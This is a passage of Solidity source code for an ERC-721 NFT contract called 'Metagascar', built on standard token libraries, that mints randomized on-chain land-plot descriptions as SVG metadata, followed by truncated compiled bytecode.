modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } contract Metagascar is ERC721Enumerable, ReentrancyGuard, Ownable { uint256 public mintPrice = 100000000000000000; //0.1 ETH string[] private land = [ "Lot Size 15617 Square Feet", "Lot Size 15617 Square Feet", "Lot Size 90210 Square Feet", "Lot Size 18121 Square Feet", "Lot Size 15899 Square Feet", "Lot Size 16005 Square Feet", "Lot Size 16072 Square Feet", "Lot Size 16643 Square Feet", "Lot Size 17102 Square Feet", "Lot Size 17707 Square Feet", "Lot Size 18172 Square Feet", "Lot Size 17730 Square Feet", "Lot Size 19217 Square Feet", "Lot Size 22284 Square Feet", "Lot Size 18060 Square Feet", "Lot Size 18544 Square Feet", "Lot Size 19555 Square Feet", "Lot Size 20205 Square Feet", "Lot Size 21231 Square Feet", "Lot Size 20857 Square Feet", "Lot Size 20032 Square Feet", "Lot Size 21300 Square Feet", "Lot Size 21780 Square Feet", "Lot Size 21823 Square Feet", "Lot Size 22165 Square Feet", "Lot Size 26252 Square Feet" ]; string[] private homeSize = [ "Home Size 5617 Square Feet", "Home Size 5617 Square Feet", "Home Size 4210 Square Feet", "Home Size 8121 Square Feet", "Home Size 5899 Square Feet", "Home Size 6005 Square Feet", "Home Size 6072 Square Feet", "Home Size 6643 Square Feet", "Home Size 7102 Square Feet", "Home Size 7707 Square Feet", "Home Size 8172 Square Feet", "Home Size 7730 Square Feet", "Home Size 9217 Square Feet", "Home Size 4284 Square Feet", "Home Size 8060 Square Feet", "Home Size 9124 Square Feet", "Home Size 9707 Square Feet", "Home Size 7205 Square Feet", "Home Size 1231 Square Feet", "Home Size 7857 Square Feet", "Home Size 12032 Square Feet", "Home Size 8300 Square Feet", "Home Size 5780 Square Feet", "Home Size 6823 Square Feet", "Home Size 7165 Square Feet", "Home Size 3252 Square Feet" ]; string[] private homeStyle = [ "Art Deco Style Home", "Bungalow Style Home", "Cape Cod Style Home", "Colonial Style Home", "Contemporary Style Home", "Craftsman Style Home", "Creole Style Home", "Dutch Colonial Style Home", "Federal Style Home", "French Provincial Style Home", "Georgian Style Home", "Gothic Revival Style Home", "Greek Revival Style Home", "International Style Home", "Italianate Style Home", "Monterey Style Home", "National Style Home", "Neoclassical Style Home", "Prairie Style Home", "Pueblo Style Home", "Queen Anne Style Home", "Ranch Style Home", "Regency Style Home", "Saltbox Style Home", "Second Empire Style Home", "Shed Style Home", "Shingle Style Home", "Shotgun Style Home", "Spanish Style Home", "Split Level Style Home", "Stick Style Home", "Tudor Style Home", "Victorian Style Home" ]; string[] private driveway = [ "Concrete Driveway", "Brick Driveway", "Asphalt Driveway", "Gravel Driveway", "Crushed Stone Driveway", "Paver Driveway", "Basalt Driveway", "Cobblestone Driveway", "Tar and Chip Driveway" ]; string[] private drivewayStyle = [ "Basic Driveway", "Valet Style Driveway", "Oyster Shells Driveway" ]; function setMintPrice(uint256 newPrice) public onlyOwner { mintPrice = newPrice; } function withdraw() public onlyOwner { uint balance = address(this).balance; msg.sender.transfer(balance); } function deposit() public payable onlyOwner {} function random(string memory input) internal pure returns (uint256) { return uint256(keccak256(abi.encodePacked(input))); } function getLand(uint256 tokenId) public view returns (string memory) { return pluck(tokenId, "LAND", land); } function getHomeSize(uint256 tokenId) public view returns (string memory) { return pluck(tokenId, "HOMESIZE", homeSize); } function getHomeStyle(uint256 tokenId) public view returns (string memory) { return pluck(tokenId, "HOMESTYLE", homeStyle); } function getDriveway(uint256 tokenId) public view returns (string memory) { return pluck(tokenId, "DRIVEWAY", driveway); } function getDrivewayStyle(uint256 tokenId) public view returns (string memory) { return pluck(tokenId, "DRIVEWAYSTYLE", drivewayStyle); } function pluck(uint256 tokenId, string memory keyPrefix, string[] memory sourceArray) internal view returns (string memory) { uint256 rand = random(string(abi.encodePacked(keyPrefix, toString(tokenId)))); string memory output = sourceArray[rand % sourceArray.length]; output = string(abi.encodePacked(output)); return output; } function tokenURI(uint256 tokenId) override public view returns (string memory) { string[9] memory parts; parts[0] = '<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 350 350"><style>.base { fill: white; font-family: serif; font-size: 14px; }</style><rect width="100%" height="100%" fill="black" /><text x="10" y="20" class="base">'; parts[1] = getLand(tokenId); parts[2] = '</text><text x="10" y="40" class="base">'; parts[3] = getHomeSize(tokenId); parts[4] = '</text><text x="10" y="60" class="base">'; parts[5] = getHomeStyle(tokenId); parts[6] = '</text><text x="10" y="80" class="base">'; parts[7] = getDrivewayStyle(tokenId); parts[8] = '</text></svg>'; string memory output = string(abi.encodePacked(parts[0], parts[1], parts[2], parts[3], parts[4], parts[5], parts[6], parts[7], parts[8])); string memory json = Base64.encode(bytes(string(abi.encodePacked('{"name": "Metagascar #', toString(tokenId), '", "description": "Metagascar are randomized plots of land generated and stored on chain. Images, and other functionality are intentionally omitted for others to interpret. Feel free to use Metagascar in any way you want.", "image": "data:image/svg+xml;base64,', Base64.encode(bytes(output)), '"}')))); output = string(abi.encodePacked('data:application/json;base64,', json)); return output; } function claim(uint256 tokenId) public payable nonReentrant { require(tokenId > 1000 && tokenId < 8001, "Token ID invalid"); require(mintPrice <= msg.value, "Please pay mint fee"); _safeMint(_msgSender(), tokenId); } function ownerClaim(uint256 tokenId) public nonReentrant onlyOwner { require(tokenId > 0 && tokenId < 1001, "Token ID invalid"); _safeMint(owner(), tokenId); } function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT license // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } constructor() ERC721("Metagascar", "Metagascar") Ownable() {} } /// [MIT License] /// @title Base64 /// @notice Provides a function for encoding some bytes in base64 /// @author Brecht Devos <brecht@loopring.org> library Base64 { bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; /// @notice Encodes some bytes to the base64 representation function encode(bytes memory data) internal pure returns (string memory) { uint256 len = data.length; if (len == 0) return ""; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((len + 2) / 3); // Add some extra buffer at the end bytes memory result = new bytes(encodedLen + 32); bytes memory table = TABLE; assembly { let tablePtr := add(table, 1) let resultPtr := add(result, 32) for { let i := 0 } lt(i, len) { } { i := add(i, 3) let input := and(mload(add(data, i)), 0xffffff) let out := mload(add(tablePtr, and(shr(18, input), 0x3F))) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF)) out := shl(224, out) mstore(resultPtr, out) resultPtr := add(resultPtr, 4) } switch mod(len, 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } mstore(result, encodedLen) } return string(result); } }
0x6080604052600436106101cd5760003560e01c80636817c76c116100f7578063a22cb46511610095578063e985e9c511610064578063e985e9c51461072a578063f02dd53f14610765578063f2fde38b1461078f578063f4a0a528146107c2576101cd565b8063a22cb465146105ea578063b88d4fde14610625578063c87b56dd146106f8578063d0e30db014610722576101cd565b8063715018a6116100d1578063715018a6146105815780637e9055ed146105965780638da5cb5b146105c057806395d89b41146105d5576101cd565b80636817c76c1461050f5780636cbe72cc1461052457806370a082311461054e576101cd565b80632f745c591161016f57806342842e0e1161013e57806342842e0e1461044e578063434f48c4146104915780634f6ccce7146104bb5780636352211e146104e5576101cd565b80632f745c59146103b9578063379607f5146103f25780633ae3648c1461040f5780633ccfd60b14610439576101cd565b8063095ea7b3116101ab578063095ea7b3146102ea57806318160ddd1461032557806322dbb0281461034c57806323b872dd14610376576101cd565b806301ffc9a7146101d257806306fdde031461021a578063081812fc146102a4575b600080fd5b3480156101de57600080fd5b50610206600480360360208110156101f557600080fd5b50356001600160e01b0319166107ec565b604080519115158252519081900360200190f35b34801561022657600080fd5b5061022f610819565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610269578181015183820152602001610251565b50505050905090810190601f1680156102965780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102b057600080fd5b506102ce600480360360208110156102c757600080fd5b50356108af565b604080516001600160a01b039092168252519081900360200190f35b3480156102f657600080fd5b506103236004803603604081101561030d57600080fd5b506001600160a01b038135169060200135610911565b005b34801561033157600080fd5b5061033a6109ec565b60408051918252519081900360200190f35b34801561035857600080fd5b5061022f6004803603602081101561036f57600080fd5b50356109f2565b34801561038257600080fd5b506103236004803603606081101561039957600080fd5b506001600160a01b03813581169160208101359091169060400135610af4565b3480156103c557600080fd5b5061033a600480360360408110156103dc57600080fd5b506001600160a01b038135169060200135610b4b565b6103236004803603602081101561040857600080fd5b5035610bbc565b34801561041b57600080fd5b5061022f6004803603602081101561043257600080fd5b5035610cd5565b34801561044557600080fd5b50610323610dc9565b34801561045a57600080fd5b506103236004803603606081101561047157600080fd5b506001600160a01b03813581169160208101359091169060400135610e5e565b34801561049d57600080fd5b50610323600480360360208110156104b457600080fd5b5035610e79565b3480156104c757600080fd5b5061033a600480360360208110156104de57600080fd5b5035610f98565b3480156104f157600080fd5b506102ce6004803603602081101561050857600080fd5b5035610ffe565b34801561051b57600080fd5b5061033a611052565b34801561053057600080fd5b5061022f6004803603602081101561054757600080fd5b5035611058565b34801561055a57600080fd5b5061033a6004803603602081101561057157600080fd5b50356001600160a01b031661114d565b34801561058d57600080fd5b506103236111b0565b3480156105a257600080fd5b5061022f600480360360208110156105